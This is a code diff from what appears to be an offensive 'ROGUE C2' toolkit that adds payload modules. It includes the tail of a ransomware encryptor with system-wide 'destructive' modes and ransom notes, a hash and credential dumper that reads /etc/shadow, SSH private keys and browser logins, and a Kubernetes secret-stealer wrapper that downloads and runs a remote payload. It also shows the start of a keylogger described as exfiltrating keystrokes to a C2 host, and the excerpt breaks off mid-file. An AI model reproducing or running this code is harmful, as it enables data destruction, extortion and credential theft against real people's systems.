note_path = self.create_ransom_note(target_path)
|
||||||
|
print(f"[+] Ransom note created: {note_path}")
|
||||||
|
|
||||||
|
# Save encryption log
|
||||||
|
log_data = {
|
||||||
|
'password': self.password,
|
||||||
|
'salt': base64.b64encode(self.salt).decode(),
|
||||||
|
'encrypted_files': self.encrypted_files,
|
||||||
|
'target_directories': self.target_directories,
|
||||||
|
'total_encrypted': len(self.encrypted_files),
|
||||||
|
'timestamp': time.time(),
|
||||||
|
'result': result,
|
||||||
|
'mode': mode if mode else 'standard'
|
||||||
|
}
|
||||||
|
|
||||||
|
log_dir = os.path.expanduser("~/.cache/.rogue")
|
||||||
|
os.makedirs(log_dir, exist_ok=True)
|
||||||
|
log_path = os.path.join(log_dir, "encryption_log.json")
|
||||||
|
|
||||||
|
with open(log_path, 'w') as f:
|
||||||
|
json.dump(log_data, f, indent=2)
|
||||||
|
|
||||||
|
return f"""[+] Encryption complete
|
||||||
|
{result}
|
||||||
|
[+] Password: {self.password}
|
||||||
|
[+] Mode: {mode if mode else 'standard'}
|
||||||
|
[+] Note: Password saved to {log_path}"""
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Encryption failed: {e}"
|
||||||
|
|
||||||
|
def execute_decryption(self, target_path=None, password=None, mode=None):
|
||||||
|
"""Main decryption execution"""
|
||||||
|
try:
|
||||||
|
if not password:
|
||||||
|
# Try to load password from log
|
||||||
|
log_path = os.path.expanduser("~/.cache/.rogue/encryption_log.json")
|
||||||
|
if os.path.exists(log_path):
|
||||||
|
with open(log_path, 'r') as f:
|
||||||
|
log_data = json.load(f)
|
||||||
|
password = log_data.get('password')
|
||||||
|
|
||||||
|
if not password:
|
||||||
|
return "[!] No password provided and no log found"
|
||||||
|
|
||||||
|
# Set the password
|
||||||
|
self.password = password
|
||||||
|
self.salt = get_random_bytes(16) # Will be overridden by file salt
|
||||||
|
self.key = self.derive_key(self.password, self.salt)
|
||||||
|
|
||||||
|
print(f"[+] Starting decryption")
|
||||||
|
print(f"[+] Using password: {password[:10]}...")
|
||||||
|
|
||||||
|
decrypted_count = 0
|
||||||
|
total_count = 0
|
||||||
|
|
||||||
|
if mode == "system_wide":
|
||||||
|
# System-wide decryption - scan entire filesystem
|
||||||
|
print("[+] Scanning entire filesystem for encrypted files...")
|
||||||
|
for root, dirs, files in os.walk("/"):
|
||||||
|
# Skip system directories
|
||||||
|
if any(root.startswith(exclude) for exclude in ['/proc', '/sys', '/dev', '/run']):
|
||||||
|
continue
|
||||||
|
|
||||||
|
for file in files:
|
||||||
|
if file.endswith('.encrypted'):
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
total_count += 1
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.decrypt_file(filepath):
|
||||||
|
decrypted_count += 1
|
||||||
|
if decrypted_count % 100 == 0:
|
||||||
|
print(f"[+] Decrypted {decrypted_count} files...")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to decrypt {filepath}: {e}")
|
||||||
|
else:
|
||||||
|
# Standard decryption
|
||||||
|
if not target_path:
|
||||||
|
# Look for encrypted files in common locations
|
||||||
|
possible_paths = [
|
||||||
|
os.path.expanduser("~/Documents"),
|
||||||
|
os.path.expanduser("~/Downloads"),
|
||||||
|
os.path.expanduser("~/Desktop"),
|
||||||
|
os.path.expanduser("~/Pictures"),
|
||||||
|
"/tmp",
|
||||||
|
"/var/tmp"
|
||||||
|
]
|
||||||
|
|
||||||
|
for path in possible_paths:
|
||||||
|
if os.path.exists(path):
|
||||||
|
target_path = path
|
||||||
|
break
|
||||||
|
|
||||||
|
if not target_path:
|
||||||
|
target_path = "."
|
||||||
|
|
||||||
|
print(f"[+] Scanning: {target_path}")
|
||||||
|
for root, dirs, files in os.walk(target_path):
|
||||||
|
for file in files:
|
||||||
|
if file.endswith('.encrypted'):
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
total_count += 1
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.decrypt_file(filepath):
|
||||||
|
decrypted_count += 1
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed to decrypt {filepath}: {e}")
|
||||||
|
|
||||||
|
# Remove ransom notes
|
||||||
|
for root, dirs, files in os.walk("/"):
|
||||||
|
for file in files:
|
||||||
|
if file == "README_FOR_DECRYPT.txt" or file == "YOUR_FILES_ARE_ENCRYPTED.txt":
|
||||||
|
try:
|
||||||
|
os.remove(os.path.join(root, file))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Remove recovery script
|
||||||
|
for root, dirs, files in os.walk("/"):
|
||||||
|
for file in files:
|
||||||
|
if file == "recover_files.sh":
|
||||||
|
try:
|
||||||
|
os.remove(os.path.join(root, file))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return f"[+] Decryption complete: {decrypted_count}/{total_count} files restored"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Decryption failed: {e}"
|
||||||
|
|
||||||
|
# === ROGUE C2 INTEGRATION ===
|
||||||
|
def rogue_integration(args=None):
|
||||||
|
"""Main entry point for ROGUE C2 integration"""
|
||||||
|
if args is None:
|
||||||
|
# Parse command line arguments
|
||||||
|
parser = argparse.ArgumentParser(description='File Encryption/Decryption for ROGUE C2')
|
||||||
|
parser.add_argument('action', choices=['encrypt', 'decrypt'], help='Action to perform')
|
||||||
|
parser.add_argument('target', nargs='?', default=None, help='Target file/directory or "all" or "system_<mode>"')
|
||||||
|
parser.add_argument('--password', '-p', default=None, help='Password for decryption')
|
||||||
|
parser.add_argument('--custom-password', '-c', default=None, help='Custom password for encryption')
|
||||||
|
parser.add_argument('--mode', '-m', default=None, help='Encryption mode (system_test, system_user, system_aggressive, system_destructive)')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
if args.action == 'encrypt':
|
||||||
|
if args.custom_password:
|
||||||
|
encryptor = FileEncryptor(args.custom_password)
|
||||||
|
else:
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
|
||||||
|
# Check if we're using system-wide encryption
|
||||||
|
if args.target and args.target.startswith("system_"):
|
||||||
|
result = encryptor.execute_encryption(mode=args.target)
|
||||||
|
elif args.mode and args.mode.startswith("system_"):
|
||||||
|
result = encryptor.execute_encryption(target_path=args.target, mode=args.mode)
|
||||||
|
else:
|
||||||
|
result = encryptor.execute_encryption(args.target)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
elif args.action == 'decrypt':
|
||||||
|
if not args.password:
|
||||||
|
return "[!] Password required for decryption. Use --password option"
|
||||||
|
|
||||||
|
encryptor = FileEncryptor(args.password)
|
||||||
|
|
||||||
|
# Check if we need system-wide decryption
|
||||||
|
if args.target and args.target == "system_wide":
|
||||||
|
result = encryptor.execute_decryption(mode="system_wide", password=args.password)
|
||||||
|
else:
|
||||||
|
result = encryptor.execute_decryption(args.target, args.password)
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
# === For standalone testing ===
|
||||||
|
def main():
|
||||||
|
"""Standalone execution for testing"""
|
||||||
|
print("=" * 60)
|
||||||
|
print("ROGUE File Encryption Payload v2.0 - SYSTEM WIDE MODES")
|
||||||
|
print("=" * 60)
|
||||||
|
print("[!] WARNING: This is a destructive payload!")
|
||||||
|
print("[!] Only use in isolated test environments!")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
# Parse arguments from command line
|
||||||
|
result = rogue_integration()
|
||||||
|
print(result)
|
||||||
|
else:
|
||||||
|
# Interactive mode
|
||||||
|
print("\nSelect mode:")
|
||||||
|
print("1. Encrypt single file/directory")
|
||||||
|
print("2. Encrypt ALL user files (Documents, Downloads, Desktop, Pictures)")
|
||||||
|
print("3. Encrypt SYSTEM WIDE - Test mode (/tmp only)")
|
||||||
|
print("4. Encrypt SYSTEM WIDE - User mode (user directories only)")
|
||||||
|
print("5. Encrypt SYSTEM WIDE - Aggressive mode (user + logs)")
|
||||||
|
print("6. Encrypt SYSTEM WIDE - DESTRUCTIVE mode (WARNING: can break system)")
|
||||||
|
print("7. Decrypt files")
|
||||||
|
print("8. Decrypt SYSTEM WIDE (scan entire filesystem)")
|
||||||
|
print("9. Exit")
|
||||||
|
|
||||||
|
choice = input("\nEnter choice (1-9): ").strip()
|
||||||
|
|
||||||
|
if choice == '1':
|
||||||
|
target = input("Enter target file/directory [/tmp/test]: ").strip()
|
||||||
|
if not target:
|
||||||
|
target = "/tmp/test"
|
||||||
|
os.makedirs(target, exist_ok=True)
|
||||||
|
for i in range(3):
|
||||||
|
with open(os.path.join(target, f"test{i}.txt"), 'w') as f:
|
||||||
|
f.write(f"Test file {i}\n")
|
||||||
|
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption(target)
|
||||||
|
print(f"\n{result}")
|
||||||
|
|
||||||
|
elif choice == '2':
|
||||||
|
print("\n[+] Encrypting ALL user files...")
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption("all")
|
||||||
|
print(f"\n{result}")
|
||||||
|
|
||||||
|
elif choice == '3':
|
||||||
|
print("\n[+] Encrypting SYSTEM WIDE - Test mode (/tmp only)")
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption(mode="system_test")
|
||||||
|
print(f"\n{result}")
|
||||||
|
|
||||||
|
elif choice == '4':
|
||||||
|
print("\n[+] Encrypting SYSTEM WIDE - User mode")
|
||||||
|
print("[+] This will encrypt user directories only")
|
||||||
|
if input("Continue? (y/n): ").lower() == 'y':
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption(mode="system_user")
|
||||||
|
print(f"\n{result}")
|
||||||
|
else:
|
||||||
|
print("[*] Cancelled")
|
||||||
|
|
||||||
|
elif choice == '5':
|
||||||
|
print("\n[+] Encrypting SYSTEM WIDE - Aggressive mode")
|
||||||
|
print("[+] This will encrypt user directories + system logs")
|
||||||
|
print("[!] WARNING: This may affect system operation")
|
||||||
|
if input("Continue? (y/n): ").lower() == 'y':
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption(mode="system_aggressive")
|
||||||
|
print(f"\n{result}")
|
||||||
|
else:
|
||||||
|
print("[*] Cancelled")
|
||||||
|
|
||||||
|
elif choice == '6':
|
||||||
|
print("\n" + "=" * 60)
|
||||||
|
print("[!] DESTRUCTIVE SYSTEM WIDE ENCRYPTION")
|
||||||
|
print("[!] WARNING: This can BREAK THE SYSTEM!")
|
||||||
|
print("[!] Only use in isolated test environments!")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
confirm = input("\nType 'DESTROY' to confirm: ").strip()
|
||||||
|
if confirm == 'DESTROY':
|
||||||
|
encryptor = FileEncryptor()
|
||||||
|
result = encryptor.execute_encryption(mode="system_destructive")
|
||||||
|
print(f"\n{result}")
|
||||||
|
else:
|
||||||
|
print("[*] Cancelled - safety first!")
|
||||||
|
|
||||||
|
elif choice == '7':
|
||||||
|
password = input("Enter decryption password: ").strip()
|
||||||
|
if not password:
|
||||||
|
print("[!] Password required!")
|
||||||
|
return
|
||||||
|
|
||||||
|
target = input("Enter target path [default: current directory]: ").strip()
|
||||||
|
if not target:
|
||||||
|
target = "."
|
||||||
|
|
||||||
|
encryptor = FileEncryptor(password)
|
||||||
|
result = encryptor.execute_decryption(target, password)
|
||||||
|
print(f"\n{result}")
|
||||||
|
|
||||||
|
elif choice == '8':
|
||||||
|
password = input("Enter decryption password: ").strip()
|
||||||
|
if not password:
|
||||||
|
print("[!] Password required!")
|
||||||
|
return
|
||||||
|
|
||||||
|
print("\n[!] SYSTEM WIDE DECRYPTION")
|
||||||
|
print("[!] This will scan the entire filesystem for encrypted files")
|
||||||
|
if input("Continue? (y/n): ").lower() == 'y':
|
||||||
|
encryptor = FileEncryptor(password)
|
||||||
|
result = encryptor.execute_decryption(mode="system_wide", password=password)
|
||||||
|
print(f"\n{result}")
|
||||||
|
else:
|
||||||
|
print("[*] Cancelled")
|
||||||
|
|
||||||
|
else:
|
||||||
|
print("[*] Exiting...")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# When run directly, use main()
|
||||||
|
main()
|
||||||
|
else:
|
||||||
|
# When imported by ROGUE C2, provide integration function
|
||||||
|
pass
|
||||||
291
hashdump.py
Normal file
291
hashdump.py
Normal file
|
|
@ -0,0 +1,291 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Password Hash Extraction Module
|
||||||
|
DESCRIPTION: Extract password hashes from various sources (Linux/Windows)
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.1
|
||||||
|
SECURITY: This tool extracts sensitive credentials - Use only on authorized systems
|
||||||
|
"""
|
||||||
|
import os, sys, re, subprocess, json, base64, hashlib, datetime, socket, platform
|
||||||
|
import shutil, tempfile, struct, sqlite3, binascii, pwd, spwd, getpass
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
from Cryptodome.Protocol.KDF import PBKDF2
|
||||||
|
|
||||||
|
class HashDumper:
|
||||||
|
def __init__(self):
|
||||||
|
self.results = {
|
||||||
|
"system_hashes": {},
|
||||||
|
"shadow_file": None,
|
||||||
|
"memory_dumps": [],
|
||||||
|
"browser_credentials": [],
|
||||||
|
"ssh_keys": [],
|
||||||
|
"database_dumps": []
|
||||||
|
}
|
||||||
|
|
||||||
|
def dump_linux_hashes(self):
|
||||||
|
"""Extract Linux password hashes"""
|
||||||
|
hashes = {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Try to read /etc/shadow directly (requires root)
|
||||||
|
if os.getuid() == 0:
|
||||||
|
with open('/etc/shadow', 'r') as f:
|
||||||
|
shadow_content = f.read()
|
||||||
|
self.results["shadow_file"] = shadow_content
|
||||||
|
|
||||||
|
# Parse shadow entries
|
||||||
|
for line in shadow_content.split('\n'):
|
||||||
|
if ':' in line:
|
||||||
|
parts = line.split(':')
|
||||||
|
if len(parts) >= 2 and parts[1] not in ['', '*', '!', '!!']:
|
||||||
|
hashes[parts[0]] = parts[1]
|
||||||
|
else:
|
||||||
|
# Fallback: use unshadow if available
|
||||||
|
try:
|
||||||
|
unshadow_cmd = "unshadow /etc/passwd /etc/shadow 2>/dev/null"
|
||||||
|
output = subprocess.check_output(unshadow_cmd, shell=True).decode()
|
||||||
|
for line in output.split('\n'):
|
||||||
|
if ':' in line:
|
||||||
|
parts = line.split(':')
|
||||||
|
if len(parts) >= 2 and parts[1] not in ['x', '*', '!']:
|
||||||
|
hashes[parts[0]] = parts[1]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Also get /etc/passwd for user list
|
||||||
|
with open('/etc/passwd', 'r') as f:
|
||||||
|
passwd_content = f.read()
|
||||||
|
self.results["passwd_file"] = passwd_content
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
hashes["error"] = str(e)
|
||||||
|
|
||||||
|
return hashes
|
||||||
|
|
||||||
|
def dump_windows_hashes(self):
|
||||||
|
"""Extract Windows password hashes (SAM)"""
|
||||||
|
hashes = {}
|
||||||
|
|
||||||
|
if platform.system() == 'Windows':
|
||||||
|
try:
|
||||||
|
# Check for Mimikatz-like functionality
|
||||||
|
# This is a placeholder - actual implementation requires admin privileges
|
||||||
|
# and would use techniques like reg save or Volume Shadow Copy
|
||||||
|
pass
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
hashes["error"] = f"Windows hash extraction failed: {str(e)}"
|
||||||
|
|
||||||
|
return hashes
|
||||||
|
|
||||||
|
def dump_memory_for_hashes(self):
|
||||||
|
"""Search memory for password hashes"""
|
||||||
|
memory_dumps = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Check running processes for passwords in memory
|
||||||
|
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
|
||||||
|
try:
|
||||||
|
proc_info = proc.info
|
||||||
|
# Look for processes that might have passwords
|
||||||
|
sensitive_processes = ['ssh', 'su', 'sudo', 'passwd', 'mysql', 'psql']
|
||||||
|
if any(sp in proc_info['name'].lower() for sp in sensitive_processes):
|
||||||
|
memory_dumps.append({
|
||||||
|
"pid": proc_info['pid'],
|
||||||
|
"name": proc_info['name'],
|
||||||
|
"cmdline": ' '.join(proc_info['cmdline']) if proc_info['cmdline'] else ''
|
||||||
|
})
|
||||||
|
except (psutil.NoSuchProcess, psutil.AccessDenied):
|
||||||
|
continue
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
memory_dumps.append({"error": str(e)})
|
||||||
|
|
||||||
|
return memory_dumps
|
||||||
|
|
||||||
|
def extract_ssh_keys(self):
|
||||||
|
"""Find and extract SSH keys"""
|
||||||
|
ssh_keys = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Look for SSH keys in common locations
|
||||||
|
ssh_paths = [
|
||||||
|
os.path.expanduser("~/.ssh/"),
|
||||||
|
"/root/.ssh/",
|
||||||
|
"/etc/ssh/",
|
||||||
|
"/home/*/.ssh/",
|
||||||
|
"/var/www/.ssh/"
|
||||||
|
]
|
||||||
|
|
||||||
|
for path_pattern in ssh_paths:
|
||||||
|
if '*' in path_pattern:
|
||||||
|
import glob
|
||||||
|
expanded_paths = glob.glob(path_pattern)
|
||||||
|
else:
|
||||||
|
expanded_paths = [path_pattern]
|
||||||
|
|
||||||
|
for path in expanded_paths:
|
||||||
|
if os.path.exists(path):
|
||||||
|
for root, dirs, files in os.walk(path):
|
||||||
|
for file in files:
|
||||||
|
if file in ['id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519', 'authorized_keys']:
|
||||||
|
filepath = os.path.join(root, file)
|
||||||
|
try:
|
||||||
|
with open(filepath, 'r') as f:
|
||||||
|
content = f.read()
|
||||||
|
if "PRIVATE KEY" in content or "ssh-" in content:
|
||||||
|
ssh_keys.append({
|
||||||
|
"path": filepath,
|
||||||
|
"type": "private_key" if "PRIVATE KEY" in content else "public_key",
|
||||||
|
"content": content[:500] + "..." if len(content) > 500 else content
|
||||||
|
})
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
ssh_keys.append({"error": str(e)})
|
||||||
|
|
||||||
|
return ssh_keys
|
||||||
|
|
||||||
|
def dump_browser_credentials(self):
|
||||||
|
"""Extract credentials from browsers"""
|
||||||
|
credentials = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Firefox credentials
|
||||||
|
firefox_profiles = self.extract_firefox_credentials()
|
||||||
|
if firefox_profiles:
|
||||||
|
credentials.append({"browser": "firefox", "profiles": firefox_profiles})
|
||||||
|
|
||||||
|
# Chrome/Chromium credentials
|
||||||
|
chrome_creds = self.extract_chrome_credentials()
|
||||||
|
if chrome_creds:
|
||||||
|
credentials.append({"browser": "chrome", "credentials": chrome_creds})
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
credentials.append({"error": str(e)})
|
||||||
|
|
||||||
|
return credentials
|
||||||
|
|
||||||
|
def extract_firefox_credentials(self):
|
||||||
|
"""Extract Firefox logins"""
|
||||||
|
profiles = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
firefox_path = os.path.expanduser("~/.mozilla/firefox/")
|
||||||
|
if os.path.exists(firefox_path):
|
||||||
|
for profile_dir in os.listdir(firefox_path):
|
||||||
|
if profile_dir.endswith('.default') or profile_dir.endswith('.default-release'):
|
||||||
|
profile_path = os.path.join(firefox_path, profile_dir)
|
||||||
|
|
||||||
|
# Look for logins.json
|
||||||
|
logins_file = os.path.join(profile_path, 'logins.json')
|
||||||
|
if os.path.exists(logins_file):
|
||||||
|
with open(logins_file, 'r') as f:
|
||||||
|
logins_data = json.load(f)
|
||||||
|
profiles.append({
|
||||||
|
"profile": profile_dir,
|
||||||
|
"logins": logins_data.get("logins", [])[:10] # Limit to first 10
|
||||||
|
})
|
||||||
|
|
||||||
|
# Look for key4.db for decryption key
|
||||||
|
key_db = os.path.join(profile_path, 'key4.db')
|
||||||
|
if os.path.exists(key_db):
|
||||||
|
profiles.append({
|
||||||
|
"profile": profile_dir,
|
||||||
|
"key_db": "Present - contains encryption keys"
|
||||||
|
})
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
profiles.append({"error": f"Firefox extraction failed: {str(e)}"})
|
||||||
|
|
||||||
|
return profiles
|
||||||
|
|
||||||
|
def extract_chrome_credentials(self):
|
||||||
|
"""Extract Chrome saved passwords"""
|
||||||
|
credentials = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
chrome_path = os.path.expanduser("~/.config/google-chrome/Default/Login Data")
|
||||||
|
if os.path.exists(chrome_path):
|
||||||
|
# Copy the database to read it
|
||||||
|
temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name
|
||||||
|
shutil.copy2(chrome_path, temp_db)
|
||||||
|
|
||||||
|
# Query the database
|
||||||
|
conn = sqlite3.connect(temp_db)
|
||||||
|
cursor = conn.cursor()
|
||||||
|
|
||||||
|
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
||||||
|
rows = cursor.fetchall()
|
||||||
|
|
||||||
|
for row in rows:
|
||||||
|
url, username, encrypted_password = row
|
||||||
|
if username:
|
||||||
|
credentials.append({
|
||||||
|
"url": url,
|
||||||
|
"username": username,
|
||||||
|
"password": f"<encrypted - {len(encrypted_password)} bytes>" if encrypted_password else "<empty>"
|
||||||
|
})
|
||||||
|
|
||||||
|
conn.close()
|
||||||
|
os.unlink(temp_db)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
credentials.append({"error": f"Chrome extraction failed: {str(e)}"})
|
||||||
|
|
||||||
|
return credentials
|
||||||
|
|
||||||
|
def execute(self):
|
||||||
|
"""Execute all hash dumping operations"""
|
||||||
|
try:
|
||||||
|
print("[+] Starting password hash extraction...")
|
||||||
|
|
||||||
|
# Run all extractors
|
||||||
|
self.results["system_hashes"]["linux"] = self.dump_linux_hashes()
|
||||||
|
self.results["system_hashes"]["windows"] = self.dump_windows_hashes()
|
||||||
|
self.results["memory_dumps"] = self.dump_memory_for_hashes()
|
||||||
|
self.results["ssh_keys"] = self.extract_ssh_keys()
|
||||||
|
self.results["browser_credentials"] = self.dump_browser_credentials()
|
||||||
|
|
||||||
|
# Generate summary
|
||||||
|
summary = {
|
||||||
|
"timestamp": datetime.datetime.now().isoformat(),
|
||||||
|
"hostname": socket.gethostname(),
|
||||||
|
"extracted_hashes": len(self.results["system_hashes"]["linux"]) + len(self.results["system_hashes"]["windows"]),
|
||||||
|
"ssh_keys_found": len(self.results["ssh_keys"]),
|
||||||
|
"browser_credentials": sum(len(c.get("profiles", [])) if isinstance(c, dict) else 0 for c in self.results["browser_credentials"]),
|
||||||
|
"memory_processes": len(self.results["memory_dumps"])
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save detailed results
|
||||||
|
output_dir = os.path.expanduser("~/.cache/.rogue/hashes")
|
||||||
|
os.makedirs(output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
output_file = os.path.join(output_dir, f"hashdump_{socket.gethostname()}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json")
|
||||||
|
with open(output_file, 'w') as f:
|
||||||
|
json.dump(self.results, f, indent=2, default=str)
|
||||||
|
|
||||||
|
# Also save hashes in John the Ripper format
|
||||||
|
john_file = os.path.join(output_dir, f"hashes_john_{socket.gethostname()}.txt")
|
||||||
|
with open(john_file, 'w') as f:
|
||||||
|
for username, hash_val in self.results["system_hashes"]["linux"].items():
|
||||||
|
if hash_val and hash_val not in ['*', '!', '!!', 'x']:
|
||||||
|
f.write(f"{username}:{hash_val}\n")
|
||||||
|
|
||||||
|
print(f"[+] Hash extraction complete. Results saved to: {output_file}")
|
||||||
|
print(f"[+] John the Ripper format saved to: {john_file}")
|
||||||
|
|
||||||
|
return json.dumps(summary, indent=2)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Hash extraction failed: {str(e)}"
|
||||||
|
|
||||||
|
# === Integration with Rogue C2 ===
|
||||||
|
def rogue_integration():
|
||||||
|
"""Wrapper for Rogue C2 integration"""
|
||||||
|
dumper = HashDumper()
|
||||||
|
return dumper.execute()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
print(rogue_integration())
|
||||||
93
k8s_secret_stealer.py
Normal file
93
k8s_secret_stealer.py
Normal file
|
|
@ -0,0 +1,93 @@
|
||||||
|
def trigger_k8s_steal():
|
||||||
|
"""Wrapper function for Rogue implant integration"""
|
||||||
|
print("[+] Starting Kubernetes secret stealer...")
|
||||||
|
|
||||||
|
# Download the payload if not present
|
||||||
|
payload_path = fetch_payload("k8s_secret_stealer.py")
|
||||||
|
if not payload_path:
|
||||||
|
return "[!] Failed to download k8s_secret_stealer.py"
|
||||||
|
|
||||||
|
# Run the payload
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["python3", payload_path, "--dump-all"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=300 # 5 minutes timeout
|
||||||
|
)
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
output = result.stdout
|
||||||
|
|
||||||
|
# Extract output directory from results
|
||||||
|
import re
|
||||||
|
dir_match = re.search(r"Output directory: (.*?)\n", output)
|
||||||
|
if dir_match:
|
||||||
|
output_dir = dir_match.group(1)
|
||||||
|
|
||||||
|
# Create summary
|
||||||
|
summary = f"[+] Kubernetes secret stealing completed\n"
|
||||||
|
summary += f"[+] Output directory: {output_dir}\n"
|
||||||
|
|
||||||
|
# Count files
|
||||||
|
import os
|
||||||
|
file_count = 0
|
||||||
|
for root, dirs, files in os.walk(output_dir):
|
||||||
|
file_count += len(files)
|
||||||
|
|
||||||
|
summary += f"[+] Total files extracted: {file_count}\n"
|
||||||
|
|
||||||
|
# Look for interesting files
|
||||||
|
interesting_paths = [
|
||||||
|
os.path.join(output_dir, "tokens"),
|
||||||
|
os.path.join(output_dir, "certificates"),
|
||||||
|
os.path.join(output_dir, "ssh_keys"),
|
||||||
|
]
|
||||||
|
|
||||||
|
for path in interesting_paths:
|
||||||
|
if os.path.exists(path):
|
||||||
|
count = len(os.listdir(path))
|
||||||
|
summary += f"[+] Found {count} items in {os.path.basename(path)}\n"
|
||||||
|
|
||||||
|
return summary + "\n" + output[-1000:] # Last 1000 chars of output
|
||||||
|
else:
|
||||||
|
return output[-2000:] # Last 2000 chars if can't parse
|
||||||
|
|
||||||
|
else:
|
||||||
|
return f"[!] Kubernetes secret stealer failed:\n{result.stderr}"
|
||||||
|
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
return "[!] Kubernetes secret stealer timed out (5 minutes)"
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Error running Kubernetes secret stealer: {e}"
|
||||||
|
|
||||||
|
def trigger_k8s_targeted(namespace=None, secret=None):
|
||||||
|
"""Targeted Kubernetes secret stealing"""
|
||||||
|
if not namespace:
|
||||||
|
return "[!] Usage: trigger_k8s_targeted <namespace> [secret_name]"
|
||||||
|
|
||||||
|
print(f"[+] Starting targeted Kubernetes secret stealer for namespace: {namespace}")
|
||||||
|
|
||||||
|
payload_path = fetch_payload("k8s_secret_stealer.py")
|
||||||
|
if not payload_path:
|
||||||
|
return "[!] Failed to download k8s_secret_stealer.py"
|
||||||
|
|
||||||
|
try:
|
||||||
|
cmd = ["python3", payload_path, "--target-namespace", namespace]
|
||||||
|
if secret:
|
||||||
|
cmd.extend(["--target-secret", secret])
|
||||||
|
|
||||||
|
result = subprocess.run(
|
||||||
|
cmd,
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=120 # 2 minutes timeout
|
||||||
|
)
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
return f"[+] Targeted Kubernetes secret stealing completed\n{result.stdout[-1000:]}"
|
||||||
|
else:
|
||||||
|
return f"[!] Targeted stealing failed:\n{result.stderr}"
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
return f"[!] Error: {e}"
|
||||||
162
keylogger.py
Normal file
162
keylogger.py
Normal file
|
|
@ -0,0 +1,162 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PAYLOAD: Keystroke Logger
|
||||||
|
DESCRIPTION: Logs keystrokes and exfiltrates them to C2
|
||||||
|
AUTHOR: Rogue Red Team
|
||||||
|
VERSION: 2.0
|
||||||
|
SECURITY: This tool logs sensitive input - Use only on authorized systems
|
||||||
|
"""
|
||||||
|
import os, sys, time, json, threading, datetime, socket, base64, hashlib
|
||||||
|
from pynput import keyboard
|
||||||
|
from Cryptodome.Cipher import AES
|
||||||
|
|
||||||
|
class KeyLogger:
|
||||||
|
def __init__(self, exfil_interval=60, c2_host=None, c2_port=9091):
|
||||||
|
self.log = []
|
||||||
|
self.running = False
|
||||||
|
self.exfil_interval = exfil_interval
|
||||||
|
self.c2_host = c2_host or self.get_default_c2()
|
||||||
|
self.c2_port = c2_port
|
||||||
|
self.encryption_key = hashlib.sha256(b'RogueKeyLogger2024').digest()
|
||||||
|
self.output_dir = os.path.expanduser("~/.cache/.rogue/keylogs")
|
||||||
|
os.makedirs(self.output_dir, exist_ok=True)
|
||||||
|
|
||||||
|
def get_default_c2(self):
|
||||||
|
"""Get C2 host from environment or default"""
|
||||||
|
return os.environ.get('ROGUE_C2_HOST', 'localhost')
|
||||||
|
|
||||||
|
def on_press(self, key):
|
||||||
|
"""Callback for key press"""
|
||||||
|
try:
|
||||||
|
key_str = key.char
|
||||||
|
except AttributeError:
|
||||||
|
if key == keyboard.Key.space:
|
||||||
|
key_str = ' '
|
||||||
|
